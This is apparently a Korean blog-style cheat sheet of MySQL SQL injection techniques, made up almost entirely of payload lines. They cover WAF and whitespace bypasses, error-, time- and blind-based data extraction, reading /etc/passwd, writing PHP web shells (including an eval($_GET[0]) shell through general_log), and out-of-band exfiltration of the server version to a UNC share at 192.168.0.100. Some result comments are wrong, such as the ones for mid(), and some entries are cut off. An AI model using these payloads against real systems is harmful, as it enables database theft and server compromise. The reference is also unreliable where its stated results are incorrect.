SQL Injection Techniques

SQL Injection에서 사용할 수 있는 문법, 테크닉을 정리해본 글입니다. (MySQL 기준)
본 문서는 지속적으로 업데이트됩니다.

Comparison operators, functions

select 'admin'='admin'; # True
select 'admin'<=>'admin'; # True (<=>는 NULL도 비교할 수 있음)
select 'admin'!='admin'; # False
select 'admin'<>'admin'; # False (!=랑 똑같음)
select 'admin'<'admin'; # False
select 'admin'<'bdmin'; # True

select (3,4) in ((1,2), (3,4)); # True
select 'admin' in ('admin'); # True
select 'admin' in ('admin', 'foo'); # True
select 'admin' in (select 'admin'); # True
select 'admin' in ('a','b','c'); # False

select 5 between 4 and 6; # True
select 'admin' between 'a' and 'z'; # True
select 'admin' between 'b' and 'z'; # False
select 'admin' between 'ac' and 'zz'; # True
select 'admin' between 'ad' and 'zz'; # True
select 'admin' between 'ae' and 'zz'; # False

select 'admin' regexp 'adm.*'; # True
select 'admin' like 'adm%'; # True
select 'admin' like '%min'; # True
select 'admin' like 'a_m_n'; # True
select 'admin' sounds like 'admni'; # True
select 'admin' sounds like 'admie'; # True
select 'admin' sounds like 'aemin'; # False

select strcmp('admin', 'admin'); # 0 (서로 비교하는 값이 같으면 0을 반환함)
select strcmp('admie', 'admin'); # -1

select 1 IS TRUE; # True
select 0 IS FALSE; # True
select 'admin'='admin' IS TRUE; # True
select 'admin' IS TRUE; # False
select '1admin' IS TRUE; # True

select 'admin'='admin    '; # True
select 'Admin'='admin'; # True
select binary 'Admin'='admin'; # False
select binary 'admin'='admin    '; # False

String truncation

select substr('admin',1,1)='a'; # True
select substring('admin',1,1)='a'; # True
select mid('admin',1,5)='admin'; # True

/* comma(,)없이 사용할 수 있음 */
select substr('admin' from 1 for 3); # 'adm'
select substring('admin' from 1 for 3); # 'adm'
select mid('admin' from 1 for 1); # 'a'
select mid('admin' from 1 for 2); # 'd'
select mid('admin' from 1 for 3); # 'm'

select left('admin',1)='a'; # True
select left('admin',3)='adm'; # True
select right('admin',1)='n'; # True
select right('admin',3)='min'; # True

select right(left('admin',1),1)='a'; # True
select right(left('admin',2),1)='d'; # True
select right(left('admin',3),1)='m'; # True

select lpad('admin',1,1)='a'; # True
select lpad('admin',2,1)='ad'; # True
select rpad('admin',1,1)='a'; # True
select rpad('admin',2,1)='ad'; # True

select insert(insert('admin',1,0,''),2,256,'')='a'; # True
select insert(insert('admin',1,1,''),2,256,'')='d'; # True
select insert(insert('admin',1,2,''),2,256,'')='m'; # True

File input, output

select @@secure_file_priv; # secure_file_priv 확인

select '<?php phpinfo(); ?>' into outfile '/var/www/html/foo.php';
select '<?php phpinfo(); ?>' into dumpfile '/var/www/html/foo.php';
select load_file('/etc/passwd');

# CVE-2016-6662 (MySQL-Exploit-Remote-Root-Code-Execution-Privesc)
set global general_log_file = '/var/www/html/foo.php';
set global general_log = on;
select '<?php eval($_GET[0]); ?>';

Run specific version

select /*!50000 1,*/2; # MySQL >= 5.0
select /*!40000 1,*/2; # MySQL >= 4.0
select 1/*!union select 2*/;
/*!select 1 union select 2*/;

Type cast

select '1'+1; # -> 2
select 'a'=0; # True
select '1admin'=1; # True
select '123'=123; # True
select concat(2, 'test'); # -> '2test'
select true + true; # 2
select`version`()+0;

select cast(38.8 as char); # -> '38.8'
select convert(38.8, char); # -> '38.8'
select convert('admin', int); # -> 0

/* 0x, 0b 꼴은 타입캐스팅 안함 */
select 0x3936323737; # -> 96277
select '96277'=96277; # True
select 0x3936323737=96277; # False
select 0x3936323737='96277'; # True

Temporary variable

select @a:='admin' union select @a;
select id from users where id='admin' and @a:=pw union select @a;

If white space(\x20) are not available

select(group_concat(table_name,0x3a,column_name))from`information_schema`.`columns`where`table_schema`=database();
select(group_concat(table_name,0x3a,column_name))from(information_schema.columns)where(table_schema=database());
select/**/group_concat(table_name,0x3a,column_name)from/**/information_schema.columns/**/where/**/table_schema=database();
select@:=group_concat(table_name,0x3a,column_name)from(information_schema.columns)where(table_schema=database

/*
공백(\x20) 대신 사용할 수 있는 문자:
\x09, \x0a, \x0b, \x0c, \x0d, \xa0, /**/
*/

Various ways to express characters

select 'adm' 'in'; # -> 'admin'
select 'ad''min'; # ad'min
select 'A'='a'; # True
select binary 'A'='a'; # False
select 'a'='a    '; # True
select 0x61; # a
select 0b01100001; # a
select x'61'; # a

select concat(char(97),'dmin'); # admin
select concat_ws(0x3a,version(),user(),database()); # 10.4.6-MariaDB:root@localhost:test
select unhex(unhex(3631363236333634)); # abcd

/* https://github.com/adm1nkyj/ctfwriteup/blob/master/my_task/secuinside_2017/mathboy7 */
select 'admin' = mid(encrypt(ceil(pi()*pi())*ceil(pi()*pi())*ceil(pi()*pi())*ceil(pi()*pi())*floor(pi())+ceil(pi()*pi())*ceil(pi()*pi())*ceil(pi()*pi())*ceil(pi())+ceil(pi()*pi())*ceil(pi()*pi())*floor(pi()*pi())+ceil(pi()*pi())*(floor(pi()*pi())-true),mid(password(true+true),floor(pi()*pi()*floor(pi()))+true+true,true+true)),true, (ceil(pi())+true)); # True

Various ways to express numeric

select true; # 1
select false; # 0
select true+true; # 2

select ceil(cos(true)); # 1
select ceil(tan(true)); # 2
select ceil(pi()-true); # 3
select ceil(pi());      # 4
select ceil(pi())+true; # 5
select ceil(pi()*pi()); # 10
select true+@@version;
select hex(hex(true)); # only integer

Various ways to specify an alias

select 'admin' as id;
select 'admin'id;
select 'admin'`id`;
select 1`id`;
select 'admin' id;
select 1.foo; # (10.0.38-MariaDB에서 테스트 해봄)

When the injection point comes after the LIMIT clause

select id from users where 1 limit 0,1 {injection_point}
select id from users where 1 limit 0,1 procedure analyse(1,1);
select id from users where 1 limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); # error based
select id from users where 1 limit 0,1 procedure analyse((select extractvalue(rand(),concat(0x3a,(if(mid(version(),1,1) like 1, benchmark(5000000,sha1(1)),1))))),1); # time based

When the injection point is in INSERT statement

insert into users values ('a', 'b'), ('c', 'd');
insert into users values ('a', reverse(id)), (version(), 1);
insert into users values ('a', (select id from (select id from users limit 0,1)x));

When the character set is latin1 (latin1_swedish_ci, latin1_german2_ci, etc..)

select 'Ä'='A'; # True
select 'ä' like 'a'; # True

Comments

select * from users where /* This is an in-line comment */ 1;
select * from users where 1;    # This comment continues to the end of line
select * from users where 1;    -- This comment continues to the end of line
select * from users where 1;%00 (PHP 기준 세미콜론 뒤에 NULL문자(%00)가 들어가야함)
select * from users `where 1`; # users에 `where 1`이라는 별칭을 지정해준 것.

Error-based : Data extraction with error message

select * from users union select foo(); # FUNCTION test.foo does not exist
select * from users where exp(~id); # DOUBLE value is out of range in 'exp(~`test`.`users`.`id`)'
select * from users where extractvalue(1, concat(0x3a,version())); # XPATH syntax error: ':10.4.6-MariaDB'
select * from users where updatexml(0,concat('$_',version()),0); # Unknown XPATH variable at: '$_10.4.6-MariaDB'
select * from users group by concat(version(),floor(rand(0)*2)) having min(0); # Duplicate entry '10.4.6-MariaDB1' for key 'group_key'
select * from (select * from users join users a)b; # Duplicate column name 'id'
select * from (select name_const(version(),1),name_const(version(),1))a; # Duplicate column name '10.4.6-MariaDB'
select * from users where id=1 and json_keys((select group_concat(concat_ws(0x3a,id,pw)) from users));
# group_concat이랑 같은 효과냄 (MySQL >= 5.7.8 using JSON_* functions)

select polygon((select * from(select name_const(version(),1))x));
# -> Illegal non geometric '(select `x`.`5.5.38-35.2` from (select NAME_CONST(version(),1) AS `5.5.38-35.2`) `x`)' value found during parsing

select ST_LatFromGeoHash(version()); # MySQL >= 5.7.5
# -> ERROR 1411 (HY000): Incorrect geohash value: '5.7.6-community' for function ST_LATFROMGEOHASH

select ST_LongFromGeoHash(version()); # MySQL >= 5.7.5
# -> ERROR 1411 (HY000): Incorrect geohash value: '5.7.6-community' for function ST_LONGFROMGEOHASH

select ST_PointFromGeoHash(version(),0); # MySQL >= 5.7.5
# -> ERROR 1411 (HY000): Incorrect geohash value: '5.7.6-community' for function st_pointfromgeohash

Error-based : Blind SQL Injection

# 서브 쿼리에서 2개 이상의 row를 리턴하면 에러가 발생하는 점을 이용해서 공격
select if('a'='b', 1, (select 1 union select 2)); # error -> Subquery returns more than 1 row
select if('a'='a', 1, (select 1 union select 2)); # ok
select case when 1=1 then (select 1 union select 2) else 1 end; # error
select case when 1=0 then (select 1 union select 2) else 1 end; # ok

# BIGINT overflow
select ~0+(select 'a'='a'); # error -> ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '~0 + ('a' = 'a')' 
select ~0+(select 'a'='b'); # ok

# cot함수 인자로 False가 들어가면 에러가 발생하는 것을 이용해서 공격
select cot(1=0); # error (DOUBLE value is out of range in 'cot(1 = 0)')
select cot(1=1); # ok

# order by 뒤에 숫자 늘리면서 에러로 컬럼수 파악
select * from users order by [컬럼 개수]; # 컬럼 개수 늘려가면서 에러로 개수 파악
select * from users order by 1; # ok
select * from users order by 2; # ok
select * from users order by 3; # error -> users 테이블의 컬럼 개수는 2개인 것.

select row([컬럼 개수]) > (select * from users limit 0,1); # [컬럼 개수]에 1,2,3 이런식으로 넣다가 컬럼 개수랑 맞으면 에러 안뜸

Time-based : SQL Injection

select 'a'='a' and sleep(1); # 1 row in set (1.001 sec)
select 'a'='b' and sleep(1); # 1 row in set (0.000 sec)
select 'a'='a' and benchmark(10000000,md5('a')); // 1 row in set (3.017 sec)
select 'a'='b' and benchmark(10000000,md5('a')); // 1 row in set (1.565 sec)
select 

Useful databases, tables

information_schema.tables # 테이블, 컬럼 정보
information_schema.columns # 테이블, 컬럼 정보
information_schema.processlist # 현재 실행되는 쿼리 정보
information_schema.session_variables # 이것 저것 정보가 많이 들어있음
mysql.innodb_index_stats # 테이블, 컬럼 정보
mysql.innodb_table_stats # 테이블, 컬럼 정보
mysql.user # DB 유저 정보

Out-of-band for Windows

select @@version into outfile '\\\\192.168.0.100\\temp\\extract.txt';
select @@version into dumpfile '\\\\192.168.0.100\\temp\\extract.txt';

Various queries

/* 쿼터(', ")로 감싸면 바로 뒤에 공백없이 다른 clause가 올 수 있음
   실수도 공백없이 바로 사용할 수 있음 */
select'a'union(select'b');
select+5 union select 1; # ok
select 5union select 1; # error
select .5union select 1; # ok


/* 공백없이 'abc'를 출력하는 방법 */
select'abc'; # abc
select+0x616263; # abc
select@:=0x616263; # abc
select(0x616263); # abc
select{hex`unhex`(616263)}; # abc
select/*!50000+0x616263*/; # abc
select(0b011000010110001001100011); # abc

/* 그 외 */
select{a@@version};
select{a@:=1}union(select'a');
select version/**/();

/* 같은 역할하는 함수 모음 */
select database(); # current database name
select schema(); # current database name

select+version(); # version
select@@global.version; # version
select@@`version`; # version

Operator precedence

INTERVAL
BINARY, COLLATE
!
- (unary minus), ~ (unary bit inversion)
^
*, /, DIV, %, MOD
-, +
<<, >>
&
|
= (comparison), <=>, >=, >, <=, <, <>, !=, IS, LIKE, REGEXP, IN, MEMBER OF
BETWEEN, CASE, WHEN, THEN, ELSE
NOT
AND, &&
XOR
OR, ||
= (assignment), :=

TODO

1. 각 쿼리에 대한 설명 추가
2. 쿼리가 정상적으로 실행되는 환경, 버전 명시

References

PayloadsAllTheThings
SQL Injection for Expert (rubiya)
SQL Injections in MySQL LIMIT clause
MySQL: новый Geometric error-based
MySQL SQL Injection Cheat Sheet
MySQL Waf bypass cheat sheet